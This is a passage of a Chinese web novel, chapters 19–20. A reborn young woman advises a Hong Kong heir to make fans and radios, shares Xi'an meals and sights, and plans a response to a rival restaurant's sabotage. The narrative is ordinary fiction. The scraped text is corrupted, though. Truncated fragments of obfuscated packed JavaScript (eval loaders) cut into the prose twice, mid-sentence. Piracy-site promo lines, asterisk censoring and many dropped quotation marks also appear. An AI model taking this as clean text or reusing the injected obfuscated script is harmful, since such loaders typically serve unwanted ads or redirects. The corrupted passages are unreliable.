“对我来说，电冰箱、电视机太遥远了，我最想要的是一个收音机、一台电风扇。莫伯伯跟我说，我长在山村，无法接触外面的世界，唯有广播能通过电波把外面的消息传进来，他让我一定要好好听广播里的消息，让我学会分析政策，透过那一句句广播了解外面的世界。要是我能有一台收音机，我就不用怕错过村广播了。其他人也喜欢听广播，《赵氏孤儿》《法门寺》《白蛇传》，三奶奶都能哼唱几句，也都是从广播里学来的。 刚刚自己还认为她阅历有限，下一句她就给自己拓宽了思路，他问：“电风扇呢？ “我去交羊的时候，走了那么 长的山路，汗干了又湿，葛大姐让我在电风扇下站会儿，让我喝口水。我那会儿就告诉自己，等我有钱了一定要买个电风扇。”岳宁咬断线头，把裤子放在腿上，抬头说，“如果你认为咬咬牙买得起雪柜和电视机的人是**挑一，那么咬咬牙买收音机和电风扇的人，有多少？千里挑一？而且，有个好处是，雪柜和电视机肯定是国家希望自己发展的产业，国家抓大放小，不会把所有产业都抓在手里，电风扇和收音机技术难度不高，应该会放开。六百多的雪柜和六十多的电风扇，其实市场总额是一样的。” 乔君贤忍不住抬手，本想敲自己脑袋，最后改成抚了抚额头。人家待在山沟沟里，靠听广播就能有这样的领悟能力，自己远渡重洋求学又算什么？ 他拍了一下扶手：“岳小姐，我们再去一趟百货商店，看看电风扇和收音机的销售情况？” “好啊！”岳宁收了针线，“走？” “走。” “爷爷，您的腿静脉曲张，别跑了，在宾馆里歇歇？” “好，我等你们回来一起吃晚饭。”岳宝华点头。 两人一起下楼，岳宁记得卖家用电器的主力好像不是百货公司，应该有个专门的商店，具体叫什么，她没接触过，不记得了。 她到宾馆前台问道：“同志，您知道专门卖自行车、冰箱之类的商店叫什么名？” “五金交电商店？” “对，对！在哪儿？” “不远，出门左拐……”前台告诉了她具体位置。 岳宁向前台要了纸，根据前台描述大致画了线路，收了纸问乔君贤：“过去看看？” 还有专门卖电器的商店？乔君贤大喜：“当然。” 服务员说不远，还真不远，拐了个弯就看见五金交电商店招牌。 乔君贤和岳宁进了商店，商店外头的柜台摆放着电线电缆、门锁之类的五金商品，对面的柜台出样一辆二十八寸、一辆二十六寸自行车。 往里就不用说了，人都围着家电柜台。柜台里一台放在架子上的黑白电视机正在播放一段新闻，讲东北一家万人纺织厂职工食堂如何为职工提供一日三餐，就这么一个节目，这些人都堵在这里不肯离开。 出样的电冰箱是单门的，洗衣机很大，上头写着双缸洗衣机。 岳宁不解：“双缸是干嘛的？” 乔君贤回答她：“一个洗衣服，一个脱水。” “哦！” 边上一个柜台，营业员扛了一个吊扇出来，那个顾客打开包着叶片的纸包，拿起叶片看：“同志，这个叶片掉漆了。” 那个营业员懒洋洋地说：“去买桶白漆，自己涂一下不就好了。” “我来买新的呀！”顾客委屈地说。 营业员走过去，把纸头往上一压：“不要就算了。” 另外一个人跑了过来，掏出一张票：“他不要，我要。同志，这是我的电风扇票。” 那个嫌弃掉漆的顾客立马抱住这个吊扇：“我要，我要，同志开票，我付钱。” 岳宁凑过去看，问道：“多少钱啊？” 正在开票的营业员抬头瞥了她一眼：“你买得起吗？” 岳宁被营业员冷眼对待，乔君贤看不下去，走过去说：“我买得起，多少钱？” 营业员把圆珠笔“啪”的一声拍在柜台上，抽走压在票本里的复写纸，扯下三联单，伸手向那个顾客说：“票给我。” 那个顾客把票给他，这个营业员举着票，依旧没给乔君贤正眼，冷冷地问：“有钱，你有票吗？” 乔君贤尴尬地说：“没有。” 岳宁忍不住笑：“港城营业员只看衣冠不认人，内地营业员平等对待每一个没票的人。” 那个顾客数了钱给营业员，营业员收了钱和票一起夹在夹子上唱：“双乐吊扇一台，一百二十块。” 夹子顺着铁丝滑到了收银台。 “就这么一台掉了漆的电风扇要一百二十块钱？也太贵了。”乔君贤实在无法接受。 刚才还抱怨掉漆的顾客，这会儿脸上带着得意之色，说：“一百二十块贵还在其次，首先你得先有票。” 单子回来，营业员重新给顾客包好了风扇，说了一句：“物品离柜，概不负责。” “这是什么道理，如果回去发现电风扇不好，难道还不能退货了？”乔君贤这回学乖了，只低声问岳宁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们和其他顾客一起往外走，乔君贤看着外头烈日高照：“你们这里要晚上八点太阳才下山，现在就不做生意了？ “百货商店还是营业的，五金交电，就是早上九点半开门，下午四点半关门。刚才在店里的顾客跑过来问，“你们不是本地人吧？难道你们那里不这样？ 乔君贤回答：“港城来的。 “港城？报纸上看到过，刚才你们说很贵，那港城一台电风扇多少钱？这位顾客兴致勃勃地问。 “港城百来块钱不到吧？不过是港币，港币和人民币兑换是三块五港币兑一块钱人民币。乔君贤告诉他。 “这么便宜？这人兴奋起来，“你们那儿要票吗？ “不用。 “那我去港城进电风扇过来卖，不是……这个年轻人都快手舞足蹈了。 乔君贤站定：“先生，你要明白港城和内地是有海关的，你首先得有进口资格，否则就是走私，走私在世界任何一个地方都是犯罪。 “还有，两地相隔千里，你打算怎么运输呢？岳宁问他。 这一问反倒让他来了信心：“我在铁路局工作，搞物资运输调度的，我有办法。 乔君贤点了点头， 说道：“哦？我有个朋友做电器代理，如果进货量不大，海关进口这块他应该能帮忙处理。但要是几千几万台地进，他恐怕就无能为力了。巧了，他也在探索内地市场。” 说的域名ｃａixs⑿(请来才小 说 看最新章节 完整章节) 这人眼睛一下子亮了起来：“真的吗？能帮上忙不？” 此时正好走到宾馆门口，乔君贤提议道：“我们找个地方坐下聊聊？” “哦哦！” 乔君贤带着岳宁和这位先生来到咖啡厅，三人坐下后，乔君贤问道：“先生，您喝咖啡还是喝茶？” “我喝茶就行。” 乔君贤又看向岳宁：“岳小姐，还是喝白开水？” “嗯。” 乔君贤向服务员点餐：“一杯红茶、一杯白开水、一杯咖啡，加奶不加糖，谢谢！再给我纸和笔。”点完餐，乔君贤礼貌地问那位先生：“冒昧问一下，先生贵姓，在铁路局担任什么职务？” “我叫李国强，在铁路局负责物资运输调度。”说着，李国强急忙从兜里掏出一张塑料红壳的工作证。 乔君贤接过工作证翻开看了一眼，然后将工作证还给他，从服务员手中接过纸笔，低头写下姓名和地址，递给李国强：“这是我朋友的联系方式，你也留一个你的联系方式给我吧，我回港城后，让他联系你？” 李国强接过纸，也写下自己的联系方式，问道：“您贵姓？” “我姓乔。”乔君贤收好联系方式，说道，“李先生，那就先这样，具体细节，到时候你和方先生谈。” “好的。” 送走李国强后，岳宁笑着看向乔君贤：“你那个朋友？” “我是想着……”乔君贤刚要解释。 “知道，知道，先考察一下对方的能力和人品。”岳宁接过话茬。 两人往楼梯走去，乔君贤再次感慨电器价格昂贵，岳宁笑着说：“你这是第几次感叹价格贵了？你可是港城乔家的公子。” “我不是从我的消费能力出发，而是从这些产品的目标客户角度考虑。一开始我特别兴奋，觉得这些都是商机，到处都是机会。但对比你们的收入，这些常用电器价格动不动就上百，甚至好几百，就觉得大家真不容易。” 乔君贤是站在消费者的立场上，岳宁不禁想起上辈子，鹏城平均工资都破万了，电风扇价格似乎也没怎么变。她幽幽叹了口气说：“是啊！我一直想要个暖水瓶，这样冬天放羊回来，能有口热水喝。好不容易 等到一张票，去供销社一问，要六块五。想想我一个月才三块钱生活费，只好算了！ “我送你一个？话一出口，乔君贤自己都忍不住笑了。 岳宁不禁嗔道：“神经！ 乔君贤想起她之前说想要收音机，便说：“回港城后，我送你一台收录机吧。既能听电台，还能放卡带听歌。 岳宁摆了摆手：“不了，不了。等你开了工厂，生产出来再送我一台吧？ “一定，一定。真的很感谢你今天的建议。一家彩电生产厂，起码得要一个多亿美金的投入，可一家电风扇厂、一家收音机厂，百来万港币就能开起来。市场总额差不多，从利润率来看，甚至更高。这是个很不错的项目。就凭这个建议，我得给你1%的干股。乔君贤认真地说道。 岳宁笑着摇头拒绝：“别啊！大不了你们有新产品，都拿给我试用就行，干股我可不敢要，你也不能随便给吧？ “你们在聊什么呢？这时，陈主任的声音传来。 岳宁抬头一看，爷爷和陈主任正准备下楼。陈主任说道：“我们看时间差不多了，就想着下楼等你们一起去吃晚饭。 陈主任看向岳宁，问道：“小岳，吃饭你最有研究，咱们是去吃陕菜，还是就来一碗羊肉泡馍？ “吃羊肉泡馍，要吃最正宗的那种。 第 19 章 吃羊肉泡馍 第19章第19章 【吃羊肉泡馍】 乔君贤听着岳宁指挥掰馍,什么一掰、二撕、三掐、四抖的，他没太闹明白，来吃饭怎么还要先掰馍,而且还得一点一点细细地掰？ “这不等于是我要去宝华楼吃拆鱼羹,还得自己拆鱼吗？”乔君贤一边掰着馍一边说道。 岳宁看向陈主任,说：“陈主任！这要是拍张照片，以后挂在这家店里，让人知道,这羊肉泡馍，最是人人平等，就算是资本家的少爷来了，也得自己掰馍。” 陈主任忍不住笑出声来：“小岳,你刚才决定吃羊肉泡馍的时候,就没安好心吧？” “主任，您这话说的。选代表劳动人民的食物,还被您说没安好心？当然，我是有想法，掰馍这个过程,可以聊天谈事情。主要是下午我跟乔先生逛了商场之后,有太多疑惑，想请教您。”岳宁问乔君贤，“乔先生，你说是不是？” “是。陈先生，下午我去了一趟百货公司……”乔君贤说起自己的见闻,大概讲完后,他接着说，“岳小姐说,国内不可能马上开放彩电和雪柜这些产业，而且以彩电和雪柜为主的家电行业，技术要求高，投资资金也大，她建议我可以做收音机、电风扇之类的小家电，还可以去刚刚成立的蛇口工业区投资建厂。您从事招商引资工作，我想听听您的意见。” 陈主任惊讶地看向正在翻找还有没有大块馍没掰碎的岳宁：“小岳，你怎么知道国家不会开放彩电、冰箱行业，又怎么知道蛇口工业区的？” “刚才跟乔先生说了，国家肯定是抓大放小，会一步步来。蛇口工业区是听广播知道的，就蛇口才那么点地方，我更相信国家要尝试，不会一蹴而就。要招商引资，从地理位置就能看出要引哪里的资，乔先生不正好合适吗？”岳宁差不多掰完了，她站起身，低头看着乔君贤，“掰细一点，要不然你吃不出羊肉泡馍的美味，黄豆大小刚刚好。” 乔君贤只好认命地继续掰馍，岳宁见岳宝华也掰得差不多了，便把爷爷的碗也拿上，去窗口泡馍。 “确实是这样，我们正在引进日本胜利公司的彩电生产线。彩电是个大市场，而且有技术含量。冰箱这块，也在试制，都是四机部领导重点关注的事。但是你们说的电风扇、收音机之类的，就拿收音机来说，全国大 大小小的无线电厂多如牛毛，有些工厂账面上已经没钱，连工资都发不出来，全靠国家拨款养活工人，电风扇行业也是如此。 “既然多如牛毛，为什么价格还这么贵呢？乔君贤不解，“无论是在港城，还是欧美市场，风扇也好，收音机也好，价格都远低于内地。国内人工这么便宜，而且需求这么旺盛，‘三转一响’是城市新婚夫妻都想要的，为什么有的厂连工资都发不出来？这不合常理。 岳宁端着碗回来，刚好听到这一段。她放下碗，给爷爷递上一碗，自己拿起辣椒罐加辣椒油。 陈主任叹了口气：“确实有计划、调配上的原因，但产能已经过剩，也是事实。你要开厂，我们欢迎还来不及，不过实情也要跟你说清楚。 “技术没问题，价格也高，市场也不缺，可工厂却不赚钱？实在让人难以理解。乔君贤停下掰馍的手。 “乔先生，你想想，如果是自己做生意，材料不到位，客户没有，你会怎么做？ “想办法买材料，找客户。 “这里呢，就是找上级，要配额，要调拨。不过调拨过来，还是可能到不了，那就是上面的问题了。定价合理不合理，同样是上面的问题，跟工厂里的工人无关，听国家的安排就行。这样的企业怎么赚钱？如果你做，大概率材料成本和港城及东南亚的那些工厂差不多，而人工成本，咱们很有优势。毕竟他们一千五港币，我们才一百五港币。 陈主任叹气：“什么叫计划经济？就是国家层层把计划下放到下面，企业没有自**，上头财政、劳动、物资等各个部门分别给企业运营提供所需素材。现在这个系统运转不下去了，国家想用经济规律解决，想把这些放到市场去，可计划经济实行了三十年，有强大的惯性，转变过来需要时间。 “这么说我能理解，可对于人工成本的优势，我没什么信心。窥一斑而知全豹，就看百货公司和五金交电商店的男营业员，实在是……乔君贤原本很兴奋，现在心里却不确定了。 “对，这样的情况不少。我在百货公司看你和那个卖衣服的营业员讲道理，虽然你赢了，但我知道这是普遍现象。买电风扇的那个营业员也是如此，他们都差不多。代表了这里人对工作的整体态度。 岳宁把嘴里的馍咽下，说道：“我倒是觉得五金交电商店那位卖风扇的男营业员 和那位卖收音机的女营业员，没什么区别。 “他们俩，简直一个天一个地，那个女营业员…… 岳宁打断他的话：“没有区别，一点区别都没有。 乔君贤觉得她在开玩笑：“你可是亲眼看到的。 “你先去泡馍。岳宁指了指他的碗，“泡完馍坐下，我们好好说。 陈主任想帮乔君贤去泡馍，乔君贤说：“我自己去，馍都自己掰了，泡馍这个过程也得体验一下。 两人泡完馍回来，乔君贤迫不及待地问：“明明差别这么大，怎么能说没有一点区别？ “他们的工钱没区别，或者说区别极小，很可能大姐的薪水比那个男营业员还低。岳宁把糖蒜推给他，“那他们努力工作的动力在哪儿呢？不排除有大姐这样，福根**这样，还有我这样，都认认真真做事的人。 乔君贤刚有所理解，听见她把自己也夸了进去，忍不住笑：“你…… “我说的是事实，我有向上的内驱力，希望自己做什么都尽力，对自己严格要求。但大部分人没有激励就没有动力，而且这十年，很多程序乱了，计划从上往下执行，执行到什么程度？出现陈主任说的情况，一点都不奇怪。岳宁说道。 陈主任放下碗：“小岳，你是真看得明白啊！ “小杨沟是不是特别偏僻的一个山村？岳宁问乔君贤。 “那当然。 “在这么一个特别偏僻的山村里，你想想，有多少人能用？我能安排什么岗位？福根**能安排什么岗位？我一年到头挣几十块钱，你要是让我卖一台给一台奖励，让我一个月挣一百？我肯定拼命干！春梅婶要是知道干两三个月就能给儿子娶媳妇，她能不拼命干？ “你要是肯来，就跟我一起筹建厂子，开了厂我直接把厂子交给你。乔君贤说道。 岳宁笑了：“我这只是纸上谈兵，还没实践过。 “我相信你的天赋。 岳宝华吃完了，咳嗽一声，拿出手帕擦嘴。 乔君贤反应过来，笑着说：“华叔等着你进宝华楼呢！你这么能干，肯定能帮华叔收拾胜华楼，出一口气。 “胜华楼？ 岳宝华轻轻呼了口气：“我的一个徒弟，他在宝华楼对面开了一家酒楼…… 岳宝华向来不太会讲人是非，乔二少贸 然提出，他还没组织好语言该怎么说。 “用宝华楼同样的菜，价格比宝华楼低，打着您徒弟的名义，抢您的生意？”岳宁问。 孙女几乎全猜对了，这也太……岳宝华点头：“是啊！” “爸爸跟我聊过这事，他告诉我，一个年轻厨子，要靠口碑出名，即便菜做得再好吃，也得好多年才能有知名度。借着父辈的名声，这是条捷径。但这条捷径是以父辈为阶梯往上爬，要是自己子孙，父辈自然竭尽全力托举，可要是徒弟，那就是教会徒弟饿死师傅。但这也没办法避免，不收徒，把手艺留在家里，传男不传女，最终也会慢慢消亡。唯有眼界开阔，徒弟强，我更强，自己不断推陈出新，才是正途。要是真没办法，有一天徒弟超越了自己，那又何尝不是一种荣耀？” 这些当然不是岳志荣教岳宁的，这是岳宁上辈子做烧腊饭连锁店时遇到的情况。 当时公司准备赴港上市，却在这时与投资方在经营上起了冲突，投资方居然拉着她的一个高管出去，另创一个同类品牌。 投资方有钱，她的那个高管还带走了好几个骨干，迅速按照他们公司的模式开店。对手是最了解自己的人，在他们来势汹汹的攻击下，她的公司出现危机，上市计划搁置，这是她创业中最大的一次挫折。 这个时候她推出一款玻璃脆皮烧鸭饭，一推出就爆火，成了网红产品，却也把她的宁烧腊推向了风口浪尖。很多老广出来批评，说宁烧腊做的烧腊不正宗。偏偏喜欢吃的人，排着长队就为这一口。 那家一看他们爆火，很快就跟进推出同款产品，这让她很恼火，原创太难，那家就盯着他们公司抄。 那家在各大平台打广告，广告一打，流量更大，众多美食博主开始测评两家产品，宁烧腊在口味上胜出，那家在性价比上胜出。 宁烧腊有新品，先做一波营销，那家紧接着来第二波营销，等于顺便帮他们营销。 他们公司加速扩张，那家也跟进，五年内，他们的店开到哪儿，那家店就在几百米之内，日本的池袋店两家并排开，排队的人都能连到一起。虽说品类相似，但通过差异化竞争，两家发展都很迅猛。 虽然最终两家都赚钱了，但岳宁心里还是膈应，毕竟谁也不想被这么盯着吸血。 “是我心量狭窄了。”岳宝华感叹道。 对比之下，他觉得自己的心胸实在 不算宽广。而且在这样的山村里，儿子能把孙女教成这样。要是儿子还在，肯定能做出一番事业。 “这个我们上课有案例。乔君贤跟岳宝华说，“华叔，你知道家乡鸡和麦当劳吗？ 岳宝华点头：“知道，那家卖炸鸡的开了很多家店后，后来草草收场了，他们的鸡没什么鸡味。麦当劳生意好像不错。 “在港城，一家惨淡收场，一家却迅速占领快餐市场。但在美国，两家竞争异常激烈，他们会在相近地段开店，还有一家汉堡包皇，三家临近开。我到了那个地方就会想，今天要吃哪家。他们生意都很好。乔君贤放下筷子，“我也狭隘了。 “我当时就跟我爸说，凭什么呀？就像我在学堂考试，我考了满分，同桌抄我也考了满分，我们一起领满分奖励，我心里能高兴吗？岳宁说道，“我也没有爸爸那么宽阔的胸怀，尤其是那家店还叫胜华楼，还在靠便宜货抢客流的阶段，就想胜过师傅了？低级，不要脸！ 宁宁这么凶巴巴地骂，岳宝华笑了起来：“傻孩子。吃好了，我们回去吧！ 四个人一起走出饭馆，在路上，乔君贤说：“那个丁胜强可不止是拿着和你爷爷一样的菜品竞争，他还使阴招。 小说的域名ｃａｉxs?(请来才 小说 看最新章节 完整章节) “什么阴招？ “我爷爷隔一阵就去宝华楼吃华叔亲手做的老鼠斑，这个习惯有二十多年了，华叔的徒弟都知道。这次约好时间过去，华叔订的鱼被丁胜强强行买走了…… 岳宁侧过头问岳宝华：“爷爷，他这么恶心您，您就不能拿盆洗脚水倒他们家锅里？ 岳宝华：…… 吃过晚饭，岳宁回到宾馆。刚才回来路上，看到宾馆拐角有个邮筒。自己要跟爷爷回港城了，远在上海的莫伯伯还不知道，肯定还在为她收集高考资料给她寄过来。 她去楼下向前台要了信纸和信封，上楼写好信，从包里拿出邮票贴上，拿着信正要出宾馆门。 “岳小姐。 岳宁回头，乔君贤拿着相机走过来：“出去？ 岳宁举起手里的信：“给长辈寄信，告诉他我要去港城了。你呢？ “从窗口看到有晚霞，想再去拍几张照片。 岳宁顺着他指的方向望去，红霞染了半边天，夕阳下的鼓楼，有着恢弘与沧桑交织的美。鼓楼不远处，古塔屹立。 “一起去散散步？乔君贤问她。 上辈子来 这里，这座古都满是仿唐建筑，夜幕降临，华灯璀璨，游人如织。在喧嚣繁华中，自己曾感叹，要是返璞归真，只剩古迹，该多好？ 今天有了这个机会，岳宁点头：“好啊！” 岳宁跑去把信投进邮筒，然后和乔君贤一起朝鼓楼走去。 乔君贤找角度对准鼓楼拍照：“我爷爷让我回来走走，看着这鼓楼，我能想象盛唐的长安是何等繁华。” “嗯？钟鼓楼是明代洪武年间修建的，是明清风格。”岳宁顺口说道。 “啊？”乔君贤有些尴尬，“原来是这样。” 岳宁话一出口就后悔了，这方面要是没刻意了解过，又有多少人能知道呢？ “要是没刻意研究过，一般人不知道汉唐和明清建筑的区别很正常。”岳宁说道。 “你不是在山村里长大的吗，怎么会知道这么多？他们都说内地的孩子这些年没好好读书，你怎么懂这么多？”乔君贤说出了自己的疑惑，她会做菜那是有传承，可在商业机会方面也懂那么多，实在让他想不明白。 “我刚才不是去寄信吗？就是那个长辈教我的。他是来小杨沟改造的知识分子，刚好和我们父女俩住一起。建筑是他的家学渊源，他大女儿很喜欢建筑，和妻儿分离，他有时候把我当成她女儿，会说很多建筑方面的事，听着听着就懂了。”岳宁仰头，“你看，明清建筑和汉唐建筑最大的区别就是斗拱……” “原来是这样。”乔君贤说，“岳小姐，你站那儿，我给你拍张照片？” “好啊！”岳宁找位置，找了个斜对角，“这里可以吗？” “可以。”乔君贤举起相机对着她拍。 拍完照，两人走到前面，乔君贤有些不确定地问：“这佛寺是唐代的，这座塔我记得是玄奘法师为供奉从天竺带回的佛像、舍利和佛经所建？” “是啊！港城还教这个吗？” 乔君贤摇头：“我自己找资料看的。殖民地嘛，历来重英轻中，很少有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岳宁听他讲明白他这是在教自己人家热情教她只能跟着学。她向右拨动调节光圈的装置问：“这样？” “对拍！”岳宁按下快门。 “入门其实不难吧？”乔君贤问她。 岳宁这才明白他是在教自己拍照便点头：“好像是不太难。不过你教我拍照那我能教你什么？教你做饭吗？” “好啊！教我用海鱼做拆鱼羹怎么样？我在美国用罗非鱼做过腥味特别重。我原本以为只能用鳙鱼或者鲢鱼而且配料也没弄对。看了你做的才知道还能用其他鱼。” “罗非鱼？”岳宁心里当然清楚罗非鱼是什么不过她觉得还是得装作不知道。 “这边应该没有这种鱼。它是一种淡水鱼口感有点像鲫鱼不过没有小刺。我当时以为用它会很方便可实际做出来……那腥味重得可怕我吃完后那股味道在喉咙里持续了三天。” 岳宁被乔君贤描述时的表情逗得笑出了声：“既然难吃干嘛还吃呢？倒掉不就行了？” 乔君贤像是一下子反应过来，也跟着笑起来：“你非得这么提醒我吗？是想让我意识到自己很傻？” 岳宁想起乔君贤吃巧妹婶做的洋芋饼时的模样，连忙摇头说：“不不不，这可不是傻，这是好习惯。我是饿过肚子的人，知道粮食来之不易，舍不得浪费。你在富贵环境里长大，还能有这样不浪费食物的习惯，真的很难得。” 被她这么一本正经地表扬，乔君贤有些不太自在：“是吗？” 气氛一时间有些冷场。岳宁突然想起在美国只有华人超市才有活鱼活虾，便问道：“对了，你当时用的罗非鱼是活的还是死的？” “美国超市里卖的鱼都是死的。” 果然如此！岳宁说道：“大概是因为鱼**，所以腥味格外重。其实鲫鱼的肉质比花鲢、白鲢更细嫩，甚至还带着一丝甜味。要是让我用鲤鱼做拆鱼羹，我也很难去掉那股土腥味。” 太阳渐渐下山，天色慢慢暗了下来，路灯下行人脚步匆匆，一辆辆自行车穿梭而过。 两人你一言我一语，话题不知不觉转到了港城的人和事上。他们都认识的人里，也就岳宝华最为熟悉，于是就聊起了岳宝华。岳宝华从未提及自己和乔启明是好友，可乔家一直都以对待好友的态度对待他。就连乔君贤对宝华楼的情况都了如指掌。 “昨天你提到那个丁胜强，我听下来，他可不只是借我爷爷的名头开店，感觉他好像跟我爷爷有仇似的？” “华叔厨艺精湛，澳城有个叠码仔，叠码仔实际上就是赌场的中介，甚至可以说是赌场的合伙人……”乔君贤担心岳宁不了解这些复杂的门道，先详细解释了一番。 “被人算计了还帮人数钱，竟然还恨我爷爷？” “我们出发的时候，我听说他把你爷爷的三徒弟连同徒孙都挖走了。你爷爷年纪大了，剩下的两个徒弟和几个徒孙恐怕难以维持宝华楼的生意。你爷爷原本想着把你找回来后，如果宝华楼实在经营不下去，就关门歇业。不过，我看他见到你之后，又有了斗志，对吧？” 整个团队都被挖走，岳宁一时也不知该说什么好。人往高处走，各凭本事吃饭，这无可厚非，但叠码仔掺和进来，事情就变味了。她问道：“你刚才说丁胜强的靠山是叠码仔，还是道上混的，我是不是真拿他没办法了？” 岳宁上辈子生活的时代，港城除了服务员态度不好成 了一种特色外，整体还算安全。不过从早期的港片里，她也知道港城曾经的混乱模样。 “港城确实有些乱，不过你也不用太担心。我们家从抗战时期就去了港城，做航运生意，多多少少有些背景。我爷爷亲口承认和华叔关系亲密，没人敢明目张胆地对你们不利，但小动作可能还是会有。乔君贤苦笑着说，“华叔有时候太谨慎了。 “怎么说？ “很多人跟我爷爷见上一面，拍张照片，就恨不得让全港城的人都知道。华叔和我爷爷相识几十年，除了这次为了找你回来，从来没请我爷爷帮过什么忙。 “这是边界感吧。岳宁说。 “什么意思？ “就是人和人之间要保持适度的距离。君子之交淡如水，这样的关系才能长久。 这一点，岳宁和爷爷很像。莫伯伯回上海后，一开始给她汇了钱，还寄了布票、粮票。在那个物资匮乏的年代，谁家日子都不宽裕，莫伯伯家里也有一家四口要养活。她把钱和票都退了回去，写信告诉莫伯伯，只要给他寄些高考学习资料就行。 “确实是这样。乔君贤问道，“你这么详细地打听胜华楼的事，回港城后，是打算帮你爷爷一起对付丁胜强吗？ “他就像一只跳到脚背上的癞哈蟆，不咬人，却恶心人，总归得收拾他一下，让他老实点。岳宁微微挑起眉毛，笑了一声，走进了宾馆。 乔君贤第一次听到这样形容丁胜强，不禁说道：“岳宁，你可真有意思。 他觉得这就有意思了？岳宁问道：“不会吧？大哥，你难道没听过‘癞哈蟆爬脚面，不咬人，恶心人’这句话？ “没有。乔君贤如实回答。 好吧！岳宁也忍不住笑了起来，两人有说有笑地往楼上走去。 在过道上，岳宝华脚步匆忙，神色凝重，甚至都没注意到他们两人。 第 20 章 吃北京烤鸭 第20章第20章 【吃北京烤鸭】 岳宁叫了一声：“爷爷！” 岳宝华听到孙女的声音回过神来,见宁宁和乔君贤两人并排站着，他们刚才出去了吗？ 岳宁看出了爷爷眼中的疑惑，解释道：“我给莫伯伯寄信,正好碰到乔君贤,就一起出去逛了一圈。” “哦！”岳宝华随口应了一声,心思却没放在这上面。 乔君贤看出岳宝华有心事，不过自己是外人，不便多问,便说：“华叔、岳宁，我先回房了，晚安！” “晚安！”祖孙俩先后回应。 乔君贤开门进了房间，岳宁问岳宝华：“爷爷,是不是有什么事？” 岳宝华勉强挤出一丝笑容：“一点小事,我已经安排好了。” “爷爷是不方便跟我说吗？”岳宁问道。 这句话说进了岳宝华的心坎里。一直以来，宝华楼的事务都是他自己拿主意,从不需要跟别人商量，也没有商量的习惯。如今他有了孙女，宝华楼迟早是她的,即便宁宁还小,还没有处理这些事情的能力，他也应该跟她讲讲，带着她、教她。 “怎么会呢？”岳宝华掏出钥匙，“进来，我们坐下说。” 祖孙俩进了房间,岳宝华坐下后拿起电话：“宁宁,给你叫杯热牛奶？” “好。” 岳宝华从兜里掏出烟盒和打火机，抬头看到孙女,又把烟盒和打火机放在书桌上，说道：“事情是这样的……” 真要开始讲了，岳宝华发现得从头说起，于是索性从丁胜强**输钱讲起，说到楼家富被丁胜强鼓动去胜华楼，而他把宝华楼托付给了老实但手艺一般的四徒弟孟友松。 这时，服务员敲门，岳宁去开门，接过服务员送来的一瓶温热牛奶。 服务员走后，岳宝华继续说：“今天晚市的时候，有客人在菜里吃到了胶布。” “胶布？” “就是割破手后贴伤口的那种胶布。”岳宝华接着说，“客人当场就闹了起来，可这道菜从厨师到打荷，没人手受伤，也没人贴胶布。你阿松叔跟客人解释，说这胶布不是店里的，客人根本不听，还把你阿松叔打了。” “这明显是胜华楼的下三滥手段吧？”岳宁问，“阿松叔被打得严重吗？” “没伤筋动骨，就是鼻青脸肿的。”岳宝华发愁地说，“他们 就是知道阿松老实，趁着我不在，使阴招。 “所以阿松叔明天还会在宝华楼，宝华楼还是会正常营业？岳宁问。 岳宝华点点头：“阿松说他没问题。 “爷爷，让阿松叔立刻去住院。 “你阿松叔住院了，你阿伟叔、阿明叔没办法撑起宝华楼，这样宝华楼就乱套了，不就把老顾客都赶走了吗？撑过这几天，等我回去就好了。 “那要是明天，他们再挑事，又来打阿松叔呢？难道非要等阿松叔被打断两根肋骨才行？岳宁反问道。 岳宝华起身给自己倒了杯水，靠在书桌边说：“宁宁，旺角是什么地方？那里因九龙码头的兴盛而繁荣，来往的都是靠码头吃饭的人，鱼龙混杂。我做这些人的生意，没点靠山怎么行？我已经给朋友打了电话，让他安排几个人过来。 “别呀！您这么一来，丁胜强憋着的那口气得多难受？再说阿松叔是个老实人，丁胜强和楼家富又是他的师兄，就趁着您不在搞事。假如他们明天找个大嗓门的阿婶来吃饭，在咱们的菜里吃出一只蟑螂，阿婶不**，就在店里撒泼、到处嚷嚷，阿松叔又能拿她怎么办？您请来的人最多把她扔出去，也解决不了根本问题吧？岳宁拿起桌上的牛奶，揭开玻璃瓶上的封纸，喝了一口，牛奶味道醇厚。 岳宝华放下茶杯，手碰到烟盒，拿起烟盒。 “您想抽就抽，开社员大会的时候，一群老烟枪聚在一起，烟雾缭绕的。岳宁说。 岳宝华从烟盒里抽出一支烟，走到窗口打开窗，站在窗边点上烟，抽了一口说：“也就这十天半个月的。 岳宁仰头一口喝完牛奶，说：“爷爷，丁胜强和楼家富人品不怎么样，但心眼和厨艺都不缺。他们趁着您不在，肯定会使劲折腾阿松叔，甚至把宝华楼搞得元气大伤。而且您也说过楼家富为什么去丁胜强那里，他觉得我爸没了，您只有我这么一个在西北长大的孙女，宝华楼没指望了。那就顺着他们的意思，让他们以为您已经无心经营酒楼了。 孙女嘴巴上还残留着奶渍，眼神里却满是算计。岳宝华脑海中浮现出刚才在百货公司的一幕，这孩子很懂得因势利导，便问道：“那你说说该怎么做？ “让阿松叔进医院，对外就说阿松叔半夜睡着睡着突然呕吐，可能是被打得脑震荡了，得彻底检查。宝 华楼歇业，直到您回去再开张。岳宁挑了挑眉，“您认识报纸、电视台的人吗？ 岳宝华一下子没明白她的意思：“不认识。 “那宝华楼上过电视吗？ 岳宁不了解这个年代的传媒情况。上辈子，她推出一个新品，必然会伴随着口水战，非得炒上热搜，红得发紫，偶尔还会紫得发黑。 “我们酒楼就算不打广告，客人也一直排队。倒是电视台的人想来拍节目，有个栏目专门介绍港城的酒家，他们白吃白拿还要钱，来问过几次，我都回绝了。最近倒是把胜华楼吹得天花乱坠。岳宝华摇了摇头，“丁胜强不想着怎么好好做菜，就想走歪门邪道。 “那就不用我们动手了，估计今晚咱们宝华楼就会上电视，肯定会说我们卫生状况差，他们肯定会把事情闹大。 岳宝华从来不跟电视台这些打交道，要不是孙女提醒，他还真没想到这一点。他狠狠地抽了口烟，自己远在**之外，也回不去啊！ 